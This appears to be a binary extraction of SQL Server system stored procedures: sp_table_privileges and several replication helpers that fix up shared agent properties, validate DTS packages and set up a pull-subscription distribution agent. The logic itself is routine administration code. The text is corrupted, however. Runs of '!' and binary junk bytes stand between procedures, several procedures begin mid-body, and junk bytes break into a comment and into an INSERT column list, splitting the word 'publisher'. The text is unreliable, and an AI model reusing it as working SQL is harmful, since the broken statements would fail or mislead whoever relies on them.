	BEGIN
		-- Clear merge bit
		IF DatabasePropertyEx(@dbname, 'IsMergePublished') = 1
		begin
			/*
			** Toggle the category bit in master.dbo.sysdatabases
			*/
			EXEC %%DatabaseEx(Name = @dbname).SetMergePublished(Value = 0)		
		end
	END

	return 0
!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`H<I-Ƃd0y@ 8
create procedure sys.sp_table_privileges
(
    @table_name         nvarchar(384),          -- Wildcard pattern matching is supported.
    @table_owner        nvarchar(384) = null,   -- Wildcard pattern matching is supported.
    @table_qualifier    sysname = null,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @full_table_name    nvarchar(769) -- 384 + 1 + 384
    declare @table_id           int

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    select @full_table_name = isnull(quotename(@table_owner), '') + '.' + isnull(quotename(@table_name), '')
    select @table_id = object_id(@full_table_name)

    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_table_name),0) = 0) and
            (isnull(charindex('_', @full_table_name),0) = 0) and
            (isnull(charindex('[', @full_table_name),0) = 0) and
            (@table_id <> 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER     = s_tpo.TABLE_CATALOG,
            TABLE_OWNER         = s_tpo.TABLE_SCHEMA,
            TABLE_NAME          = s_tpo.TABLE_NAME,
            GRANTOR             = s_tpo.GRANTOR,
            GRANTEE             = s_tpo.GRANTEE,
            PRIVILEGE           = convert (varchar(32), s_tpo.PRIVILEGE_TYPE),
            IS_GRANTABLE        = s_tpo.IS_GRANTABLE_STR
        from
            sys.spt_table_privileges_view s_tpo
        where
            (@table_name is null or @table_id = s_tpo.object_id) and
            (@table_owner is null or schema_id(@table_owner) = s_tpo.schema_id)
        order by 2,3,6,5
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print '*************'
        */
        if @table_name is null
            select @table_name = '%'
        if @table_owner is null
            select @table_owner = '%'

        select
            TABLE_QUALIFIER     = s_tpo.TABLE_CATALOG,
            TABLE_OWNER         = s_tpo.TABLE_SCHEMA,
            TABLE_NAME          = s_tpo.TABLE_NAME,
            GRANTOR             = s_tpo.GRANTOR,
            GRANTEE             = s_tpo.GRANTEE,
            PRIVILEGE           = convert (varchar(32), s_tpo.PRIVILEGE_TYPE),
            IS_GRANTABLE        = s_tpo.IS_GRANTABLE_STR
        from
            sys.spt_table_privileges_view s_tpo
        where
            s_tpo.TABLE_NAME like @table_name and
            schema_name(s_tpo.schema_id) like @table_owner
        order by 2,3,6,5
    end
0O 8
create procedure sys.sp_MSfixupaltsnapshotfolder (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @alt_snapshot_folder nvarchar(255), -- default null
    @subscription_type int,
    @force_null bit 
    )
AS

    DECLARE @local_alt_snapshot_folder sysname 
    DECLARE @retcode INT

    IF @alt_snapshot_folder IS NULL AND @force_null = 0
    BEGIN
        -- Parameter is unspecifed, try to inherit value from
        -- shared susbcriptions
        SELECT TOP 1 @local_alt_snapshot_folder = alt_snapshot_folder
          FROM MSsubscription_properties sp
          JOIN MSreplication_subscriptions rs  
            ON UPPER(sp.publisher) = UPPER(rs.publisher)
           AND sp.publisher_db = rs.publisher_db
           AND rs.subscription_type = @subscription_type
           AND rs.independent_agent = 0
         WHERE UPPER(sp.publisher) = UPPER(@publisher)
           AND sp.publisher_db = @publisher_db
           AND sp.publication <> @publication
        IF @@ROWCOUNT > 0           
        BEGIN
           -- Inherit the values from other shared subscriptions
           UPDATE MSsubscription_properties SET 
            alt_snapshot_folder = @local_alt_snapshot_folder
            WHERE UPPER(publisher) = UPPER(@publisher)
              AND publisher_db = @publisher_db
              AND publication = @publication
        END  
    END
    ELSE
    BEGIN
        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'alt_snapshot_folder',
           @strvalue = @alt_snapshot_folder,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure                                    
    END

    RETURN 0

FixupFailure:
    RETURN 1
 
0 @ 8create procedure sys.sp_MSrepl_validate_dts_package (
    @name sysname
     ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    if not exists (select * from msdb.dbo.sysdtspackages where
        name = @name)
    begin
        raiserror(21171, 
            16, -1, @name, @@servername )
        return 1
    end
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!l-`>N<>
&W	0` `8
create procedure sys.sp_MSfixupsharedagentproperties (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,         /* publication name */
    @distributor sysname,       -- default @publisher
    @distributor_security_mode int, -- default 1 -- standard
    @distributor_login sysname, -- default null
    @distributor_password nvarchar(524), -- default null
    @ftp_address sysname,       -- default null
    @ftp_port int,              -- default null
    @ftp_login sysname,         -- default null
    @ftp_password nvarchar(524),      -- default null
    @alt_snapshot_folder nvarchar(255), -- default null
    @working_directory   nvarchar(255), -- default null
    @use_ftp bit,               -- default 0
    @offload_agent bit = 0,         -- default 0
    @offload_server sysname = NULL     -- default @distributor
    )
AS
    DECLARE @subscription_type int
    DECLARE @retcode int
    DECLARE @force_ftp_null bit
    DECLARE @force_alt_snapshot_folder_null bit

    IF @alt_snapshot_folder IS NOT NULL AND @alt_snapshot_folder <> N''
        SELECT @force_ftp_null = 1 
    ELSE
        SELECT @force_ftp_null = 0 

    IF (@use_ftp = 1)  OR (@ftp_address IS NOT NULL AND @ftp_address <> N'')
        SELECT @force_alt_snapshot_folder_null = 1 
    ELSE
        SELECT @force_alt_snapshot_folder_null = 0 

    /*
	** Parameter Check: @offloadagent.
	*/
	IF @offload_agent IS NOT NULL
		AND @offload_agent != 0
	BEGIN
		-- "Parameter '@offload_agent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offload_agent')
		RETURN 1
	END

	IF ISNULL(@offload_server, N'') != N''
		AND LOWER(@offload_server) != LOWER(@distributor)
	BEGIN
		-- "Parameter '@offload_server' is no longer supported."
		RAISERROR(21698, 16, -1, '@offload_server')
		RETURN 1
	END

    SELECT @subscription_type = subscription_type
      FROM MSreplication_subscriptions 
     WHERE UPPER(publisher) = UPPER(@publisher)
       AND publisher_db = @publisher_db
       AND publication = @publication
    -- No need to fix up the publisher security properties 
    -- because they are defined on a per subscription 
    -- basis for SyncTran

    EXEC @retcode = sys.sp_MSfixupdistributorinfo
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @distributor = @distributor,
        @subscription_type = @subscription_type

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO FixupFailure

    EXEC @retcode = sys.sp_MSfixupdistributorsecurity 
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @distributor_login = @distributor_login,
        @distributor_password = @distributor_password,
        @distributor_security_mode = @distributor_security_mode,                            
        @subscription_type = @subscription_type

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO FixupFailure

/* Ignore ftp_address, ftp_port, ftp_login, ftp_password on post 7.0 server
    EXEC @retcode = sp_MSfixupftpinfo
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @ftp_address = @ftp_address,
        @ftp_port = @ftp_port,
        @ftp_login = @ftp_login,
        @ftp_password = @ftp_password,
        @subscription_type = @subscription_type,
        @force_null = @force_ftp_null

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO FixupFailure
*/
    EXEC @retcode = sys.sp_MSfixupaltsnapshotfolder
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @alt_snapshot_folder = @alt_snapshot_folder,
        @subscription_type = @subscription_type,
        @force_null = @force_alt_snapshot_folder_null

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO FixupFailure

    EXEC @retcode = sys.sp_MSfixupworkingdirectory
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @working_directory = @working_directory,
        @subscription_type = @subscription_type

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO FixupFailure

    EXEC @retcode = sys.sp_MSfixupuseftp
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @use_ftp = @use_ftp,
        @subscription_type = @subscription_type,
        @force_zero = @force_ftp_null

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO FixupFailure

    RETURN 0

FixupFailure:

    RETURN 1

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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  @independent_agent_id = independent_agent, 
            @subscription_type_id = subscription_type,
            @distribution_agent = distribution_agent,
            @update_mode_id = update_mode
        FROM  MSreplication_subscriptions
        WHERE UPPER(publisher) = UPPER(@publisher) AND
              publisher_db  = @publisher_db AND
              publication = @publication
    /* Distribution agent for push subscriptions is at distributor side */
    IF @subscription_type_id = 0
    BEGIN
        RAISERROR (21001, 16, -1)
        RETURN (1)
    END

    IF @distribution_agent IS NOT NULL
    BEGIN
        RAISERROR (21002, 11, -1, @distribution_agent)
        RETURN (1)
    END
    
    -- Parameter check: @subscriber_security_mode, @subscriber_login, @subscriber_password 
    IF (@subscriber_security_mode IS NOT NULL
        AND @subscriber_security_mode <> 1)
        OR @subscriber_login IS NOT NULL
        OR @subscriber_password IS NOT NULL
    BEGIN
        -- The @subscriber_security_mode, @subscriber_login and @subscriber_password parameter(s) have been deprecated and should no longer be used. See the 'sp_addpullsubscription_agent' documentation for more information.
        RAISERROR(21827, 10, -1, '@subscriber_security_mode, @subscriber_login and @subscriber_password', 'sp_addpullsubscription_agent')
    END

	-- if we do not require yukon security then check paramters.
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN
		IF @job_login IS NULL
		BEGIN
			IF @job_password IS NOT NULL
			BEGIN
				-- Parameter '@job_login' can be set to 'NULL' only when '@job_password' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_login', 'NULL', '@job_password', 'NULL')
				RETURN 1
			END
		END
		ELSE
		BEGIN
			IF @job_password IS NULL
			BEGIN
				-- Parameter '@job_password' can be set to 'NULL' only when '@job_login' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_password', 'NULL', '@job_login', 'NULL')
				RETURN 1
			END

			IF @edition_id <> 40  and @edition_id <> 22
				AND sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addpullsubscription_agent'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_addpullsubscription_agent')
				RETURN 1
			END
		END
	END
	-- if yukon sec required then a valid windows login/password is required
	ELSE
	BEGIN
		IF @job_login IS NULL
			OR @job_password IS NULL
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation without specifying @job_login or @job_password.
			RAISERROR(21832, 16, -1, '@job_login or @job_password')
			RETURN 1
		END

		IF @edition_id <> 40 and @edition_id <> 22 
			AND sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addpullsubscription_agent'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_addpullsubscription_agent')
			RETURN 1
		END
	END


    -- Subscriber must be Windows Authentication
    SELECT @subscriber_security_mode = 1,
            @subscriber_login = N'',
            @subscriber_password = N'**********',
            @subscriber_enc_password = @subscriber_password

    EXEC @retcode = sys.sp_MSreplencrypt @subscriber_enc_password OUTPUT
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
        
    -- default to Windows Auth.
    SELECT @distributor_security_mode = ISNULL(@distributor_security_mode, 1)
    
    -- check security mode
    IF @distributor_security_mode not in (0, 1)
    BEGIN
        -- The specified '@distributor_security_mode' is invalid (valid values are: 0, 1).
        RAISERROR(14266, 16, -1, '@distributor_security_mode', '0, 1')
        RETURN 1
    END

    -- make sure that the login is valid
    SELECT @distributor_login = RTRIM(LTRIM(ISNULL(@distributor_login, '')))

    -- Security Mode = 1
    IF @distributor_security_mode = 1
    BEGIN
        SELECT @distributor_login = '',
                @distributor_password = newid()
    END
    -- Security Mode = 0
    ELSE IF @distributor_login = ''
    BEGIN

        -- '@distributor_login cannot be null or empty when @distributor_security_mode is set to 0 (SQL Server authentication).'
        RAISERROR(21694, 16, -1, '@distributor_login', '@distributor_security_mode')
        RETURN 1
    END

    SELECT @distributor_enc_password = @distributor_password
        
    EXEC @retcode = sys.sp_MSreplencrypt @distributor_enc_password OUTPUT
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
    
    IF object_id('MSsubscription_properties','U') is NULL
    begin
        exec @retcode = sys.sp_MScreate_sub_tables_internal @property_table = 1
        if @retcode <> 0 or @@error <> 0
        return (1)
    end

    /* 
    ** Parameter check: @alt_snapshot_folder 
    ** @alt_snapshot_folder and @use_ftp are mutually exclusive    
    */

    IF @alt_snapshot_folder <> N'' AND @alt_snapshot_folder IS NOT NULL
       AND LOWER(@use_ftp collate SQL_Latin1_General_CP1_CS_AS) = N'true'
    BEGIN
        RAISERROR(21146, 16, -1)
        RETURN (1)
    END

    /* 
    ** Parameter check: @use_ftp
    ** Must be 'true' or 'false'
    */
    IF LOWER(@use_ftp collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@use_ftp')
        RETURN (1)
    END
    
    IF LOWER(@use_ftp collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        SELECT @use_ftp_bit = 1
    END
    ELSE
    BEGIN
        SELECT @use_ftp_bit = 0
    END


    /*
    ** Parameter check: @publication_type
    ** Must be 0 - Transactional or 1 - Snapshot
    */
    IF @publication_type NOT IN (0, 1)
    BEGIN
        RAISERROR (20033, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check: @dts_package_location
    ** Valid values:
    ** distributor
    ** subscriber
    **
    */
    IF LOWER(@dts_package_location collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('distributor', 'subscriber')
    BEGIN
        RAISERROR(21179, 16, -1)    
        RETURN (1)
    END

    declare @dts_package_location_id int

    IF LOWER(@dts_package_location collate SQL_Latin1_General_CP1_CS_AS) = 'distributor'
        SELECT @dts_package_location_id = 0
    ELSE 
        SELECT @dts_package_location_id = 1

    -- Have to be a push, non updatable  subscription to set DTS package name
    if @dts_package_name is not null
    begin
        if  @update_mode_id != 0
        begin
            RAISERROR(21180, 16, -1)    
            RETURN (1)
        end
    end
    
    -- Copy the passwords to new value before attempting to encrypt
    -- We no longer supported passing in encrypted passwords
    IF @encrypted_distributor_password = 1
    BEGIN
        -- Parameter '@encrypted_distributor_password' is no longer supported.
        RAISERROR(21698, 16, -1, '@encrypted_distributor_password')
        RETURN (1)
    END
    
    declare @dts_package_enc_password nvarchar(524)
    set @dts_package_enc_password = @dts_package_password

    if @dts_package_enc_password is not null
    begin
        EXEC @retcode = sys.sp_MSreplencrypt @dts_package_enc_password OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            return 1
    end

    /*
    ** Parameter Check: @offloadserver
    */
    IF @offloadagent IS NOT NULL
        AND RTRIM(LTRIM(LOWER(@offloadagent))) != 'false'
    BEGIN
        -- "Parameter '@offloadagent' is no longer supported."
        RAISERROR(21698, 16, -1, '@offloadagent')
        RETURN 1
    END

    IF ISNULL(@offloadserver, N'') != N''
    BEGIN
        --!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C
Ĕ~v[ "Parameter '@offloadserver' is no longer supported."
        RAISERROR(21698, 16, -1, '@offloadserver')
        RETURN 1
    END

    /*
    ** Construct unique name
    */
    if @subscriber is NULL select @subscriber = ''
    if @subscriber_db is NULL select @subscriber_db = ''
    
    declare @job_existing bit
    if @job_name is null
    begin
        select @job_existing = 0
        SELECT @job_name = CONVERT(nvarchar(18),@publisher ) + '-' + 
                        CASE @publisher_db
                            WHEN NULL THEN ''
                            ELSE CONVERT(nvarchar(18),@publisher_db) + '-'
                        END + 
                        CONVERT(nvarchar(18),@publication) + '-' + CONVERT(nvarchar(18),@subscriber) + '-' +
                        CONVERT(nvarchar(18),@subscriber_db) + '-' + CONVERT(nvarchar(36),newid())
    end
    else
        select @job_existing = 1        
	
    BEGIN TRAN
    save tran sp_addpullsubagent

    /*
    ** If the publication is independent agent type or it is the first
    ** subscription on the non independent agent publications.
    */

    IF @independent_agent_id = 1 OR 
        NOT EXISTS (SELECT * FROM MSreplication_subscriptions WHERE
                            UPPER(@publisher) = UPPER(publisher) and
                            @publisher_db = publisher_db and
                            agent_id IS NOT NULL and
                            independent_agent = 0)
    BEGIN
        if @job_existing = 0
        begin
            /* Construct agent command */
            SELECT @command = '-Publisher ' + @publisher + ' '

            IF @publisher_db IS NOT NULL
                SELECT @command = @command + '-PublisherDB ' + QUOTENAME(@publisher_db) + ' '
			
            IF @independent_agent_id = 1
                SELECT @command = @command + '-Publication ' + QUOTENAME(@publication) + ' '

            SELECT @command = @command + '-Distributor ' + QUOTENAME(@distributor)  + ' '

            SELECT @command = @command + '-SubscriptionType ' + convert(nvarchar(10),@subscription_type_id)  + ' '

            SELECT @command = @command + '-Subscriber ' + QUOTENAME(@subscriber)  + ' '

            -- Always use integrated for local security
            select @command = @command + '-SubscriberSecurityMode 1 '

            SELECT @command = @command + '-SubscriberDB ' + QUOTENAME(@subscriber_db) + ' '

            if @dts_package_name is not null
              select @command = @command + '-UseDTS '

            /* 
            ** make sure the command line is not truncated
            */
            /* Use datalength because len doesn't count the last space in @command */
            IF (datalength(@command) + datalength(@optional_command_line)) > 8000
            BEGIN
                RAISERROR(20018, 16, -1)
                goto cleanup
            END

            SELECT @command = @command + @optional_command_line

            -- Get Distribution category name (assumes category_id = 10)
            select @category_name = name FROM msdb.dbo.syscategories where category_id = 10

            EXEC @retcode = sys.sp_MSadd_repl_job
                    @name = @job_name,
                    @subsystem = 'Distribution',
                    @server = @@SERVERNAME,
                    @databasename = @subscriber_db,
                    @enabled = 1,
                    @freqtype = @frequency_type,
                    @freqinterval = @frequency_interval,
                    @freqsubtype = @frequency_subday,
                    @freqsubinterval = @frequency_subday_interval,
                    @freqrelativeinterval = @frequency_relative_interval,
                    @freqrecurrencefactor = @frequency_recurrence_factor,
                    @activestartdate = @active_start_date,
                    @activeenddate = @active_end_date,
                    @activestarttimeofday = @active_start_time_of_day,
                    @activeendtimeofday = @active_end_time_of_day,
                    @command = @command,
                    @category_name = @category_name,
                    @retryattempts = 10,
                    @retrydelay = 1,
                    @job_id = @distribution_jobid OUTPUT,
                    @job_step_uid = @distribution_job_step_uid OUTPUT,
                    @job_login = @job_login,
                    @job_password = @job_password

            IF @@ERROR <> 0 or @retcode <> 0
                goto cleanup
        end
        else
        begin
            SELECT @distribution_jobid = sjv.job_id,
                    @distribution_job_step_uid = sjs.step_uid
            FROM msdb.dbo.sysjobs_view as sjv 
                JOIN msdb.dbo.sysjobsteps as sjs 
                    ON sjv.job_id = sjs.job_id 
            WHERE sjv.name = @job_name collate database_default 
                AND UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
                AND sjv.master_server = 0
                AND sjv.category_id = 10
                AND sjs.subsystem = N'Distribution'
                AND sjs.database_name = db_name()
                    
            if @distribution_jobid IS NULL
            begin
                -- Message from msdb.dbo.sp_verify_job_identifiers
                RAISERROR(14262, -1, -1, 'Job', @job_name)          
                goto cleanup
            end
        end
    END

        /* If we do not have independent agents , i.e. independent_agent=0, but there is
    already a row for that publisher and that publisher database with a NOT null 
    distribution_agent_id, then set the @distribution_jobid to that id.  Note that if
    there are no rows returned, the value of the variable does not change, which is what we want.
    There should never be more than one row ever returned for this query - but will use TOP 1
    to insist that is the case.
    */
    
    IF @independent_agent_id = 0
    BEGIN
        SELECT DISTINCT @distribution_jobid=agent_id, @job_name = distribution_agent
          FROM MSreplication_subscriptions
         WHERE UPPER(publisher) = UPPER(@publisher) 
           AND publisher_db =  @publisher_db
           AND agent_id IS NOT NULL AND independent_agent=0
    END
    
    UPDATE MSreplication_subscriptions 
       SET distribution_agent = @job_name,
           agent_id = @distribution_jobid
     WHERE UPPER(publisher) = UPPER(@publisher) 
       AND publisher_db =  @publisher_db 
       AND publication =  @publication 
       AND (subscription_type = 1 /* pull*/ OR subscription_type = 2) /*anonymous*/

    IF @@ERROR <> 0 
        goto cleanup

    if (@subscription_type_id = 1) OR (@subscription_type_id = 2)
    BEGIN
        -- if the job step uid is null then we will 
        -- attempt to retrieve it based on job info
        if @distribution_job_step_uid IS NULL
        begin
            select @distribution_job_step_uid = sjs.step_uid
            from msdb.dbo.sysjobs_view as sjv 
                join msdb.dbo.sysjobsteps as sjs 
                    on sjv.job_id = sjs.job_id 
            where sjv.job_id = @distribution_jobid
                and sjv.master_server = 0
                and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
                and sjv.category_id = 10
                and sjs.subsystem = N'Distribution' 
                and sjs.database_name = db_name()
        end
		
        IF NOT EXISTS (select * from MSsubscription_properties 
            where UPPER(publisher) = UPPER(@publisher)
              and publisher_db =  @publisher_db
              and publication = @publication) 
        BEGIN
            -- Publication type:
            -- 0  transactional
            -- 1  snapshot
            -- 2  merge (not allowed)

            INSERT INTO MSsubscription_properties 
            (p!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<eC
z`9[ublisher, publisher_db, publication, publication_type, 
             publisher_login,publisher_password, publisher_security_mode, 
             distributor, distributor_login, distributor_password, 
             distributor_security_mode, ftp_address, ftp_port, ftp_login, 
             ftp_password, alt_snapshot_folder, working_directory, use_ftp,
             dts_package_name, dts_package_password, dts_package_location, 
             offload_agent, offload_server, dynamic_snapshot_location, job_step_uid)
            values (@publisher, @publisher_db, @publication, @publication_type, NULL, NULL, -1, 
                @distributor, @distributor_login, @distributor_enc_password, 
                @distributor_security_mode, null, null, null,
                null, @alt_snapshot_folder, @working_directory, @use_ftp_bit,
                @dts_package_name, @dts_package_enc_password, 
                @dts_package_location_id, 0, null, null, @distribution_job_step_uid)
        END
        ELSE
        BEGIN
            update MSsubscription_properties set
                distributor = @distributor,
                distributor_login = @distributor_login,
                distributor_password = @distributor_enc_password,
                distributor_security_mode = @distributor_security_mode,
                dts_package_name = @dts_package_name,
                dts_package_password = @dts_package_enc_password,
                dts_package_location = @dts_package_location_id,
                job_step_uid = @distribution_job_step_uid
                where UPPER(publisher) = UPPER(@publisher)
                    and publisher_db =  @publisher_db
                    and publication = @publication
        END
        IF @@ERROR <> 0 
            goto cleanup


        -- For dependent subscriptions we need to fix up all the
        -- shared properties  
        IF @independent_agent_id = 0 
        BEGIN

            EXEC @retcode = sys.sp_MSfixupsharedagentproperties
                   @publisher = @publisher,
                   @publisher_db = @publisher_db,
                   @publication = @publication,
                   @distributor = @distributor,
                   @distributor_security_mode = @distributor_security_mode,
                   @distributor_login = @distributor_login,
                   @distributor_password = @distributor_enc_password,
                   @ftp_address = @ftp_address,
                   @ftp_port = @ftp_port,
                   @ftp_login = @ftp_login,
                   @ftp_password = @ftp_password,
                   @alt_snapshot_folder = @alt_snapshot_folder,
                   @working_directory = @working_directory,
                   @use_ftp = @use_ftp_bit
                   
            IF @retcode <> 0 OR @@ERROR <> 0
                goto cleanup
        END

        IF @@ERROR <> 0 
            goto cleanup
    END

    /* Conditional support for MobileSync */
    if LOWER(@enabled_for_syncmgr collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        /* Call sp_MSregistersubscription so that the subscription can be synchronized via MobileSync etc. */
        declare @subscription_id uniqueidentifier
        declare @failover_mode_id int
        set @subscription_id = convert(uniqueidentifier, @distribution_jobid)

        if @update_mode_id in (3,5) 
            select @failover_mode_id = 1
        else if @update_mode_id in (2,4)
            select @failover_mode_id = 2
        else
            select @failover_mode_id = 0
            
        exec @retcode = sys.sp_MSregistersubscription @replication_type = 1,
                                    @publisher = @publisher,
                                    @publisher_db = @publisher_db,
                                    @publication = @publication,
                                    @subscriber = @subscriber,
                                    @subscriber_db = @subscriber_db,
                                    @subscriber_security_mode = @subscriber_security_mode,
                                    @subscriber_login = @subscriber_login,
                                    @subscriber_password = @subscriber_password,
                                    @distributor = @distributor,
                                    @subscription_id = @subscription_id,
                                    @independent_agent = @independent_agent_id,
                                    @subscription_type = @subscription_type_id,
                                    @failover_mode = @failover_mode_id
        IF @@ERROR <> 0 or @retcode <> 0
            goto cleanup
    END

    -- If we didn't need to create the job but 
	-- we were given the job_login and job_password
	-- then we will attempt to change them or add
	-- NOTE:
	-- We do this at the very end because the actual
	-- agent must be added prior to setting the login
	-- and passwords...
	IF @job_existing = 1
	BEGIN
		IF @job_login IS NOT NULL
		BEGIN
			EXEC @retcode = sys.sp_change_subscription_properties @publisher = @publisher,
																	@publisher_db = @publisher_db,
																	@publication = @publication,
																    @property = 'distrib_job_login',
																	@value = @job_login
			IF @retcode <> 0 OR @@ERROR <> 0
	            GOTO cleanup

			EXEC @retcode = sys.sp_change_subscription_properties @publisher = @publisher,
																	@publisher_db = @publisher_db,
																	@publication = @publication,
																    @property = 'distrib_job_password',
																	@value = @job_password
			IF @retcode <> 0 OR @@ERROR <> 0
		    	GOTO cleanup
		END
	END
	
    -- success
    COMMIT TRAN
    RETURN(0)
    -- error cleanup
cleanup:
    ROLLBACK TRAN sp_addpullsubagent
    COMMIT TRAN           
    RETURN(1)
END
